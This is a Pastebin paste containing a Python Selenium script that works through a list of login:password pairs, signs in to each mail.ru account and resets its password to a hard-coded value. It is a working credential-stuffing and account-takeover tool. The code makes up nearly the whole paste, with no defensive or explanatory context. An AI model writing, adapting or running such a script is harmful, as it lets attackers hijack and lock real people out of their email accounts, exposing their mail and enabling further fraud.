Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import time
- from selenium import webdriver
- from urllib3.packages.six import b
- browser = webdriver.Firefox()
- a = open("base.txt","r")
- file = [s.rstrip()for s in a.readlines()]
- passwn = "miha1999A"
- for lines in file:
- browser.get('https://mail.ru/')
- base = lines.split(":")
- login_xpath = '/html/body/main/div[2]/div[1]/div[1]/div[2]/form[1]/div[1]/div[2]/input'
- browser.find_element_by_xpath(login_xpath).send_keys(base[0])
- xpath1 = '/html/body/main/div[2]/div[1]/div[1]/div[2]/form[1]/button[1]'
- browser.find_element_by_xpath(xpath1).click()
- pass_xpath = '/html/body/main/div[2]/div[1]/div[1]/div[2]/form[1]/div[2]/input'
- browser.find_element_by_xpath(pass_xpath).send_keys(base[1])
- xpath2 = '/html/body/main/div[2]/div[1]/div[1]/div[2]/form[1]/button[2]'
- browser.find_element_by_xpath(xpath2).click()
- time.sleep(2)
- xpath5 = "//*[@name='password']"
- browser.find_element_by_xpath(xpath5).send_keys(passwn)
- time.sleep(2)
- xpath6 = "//*[@name='repeat-password']"
- browser.find_element_by_xpath(xpath6).send_keys(passwn)
- time.sleep(1)
- browser.find_element_by_tag_name('button').click()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement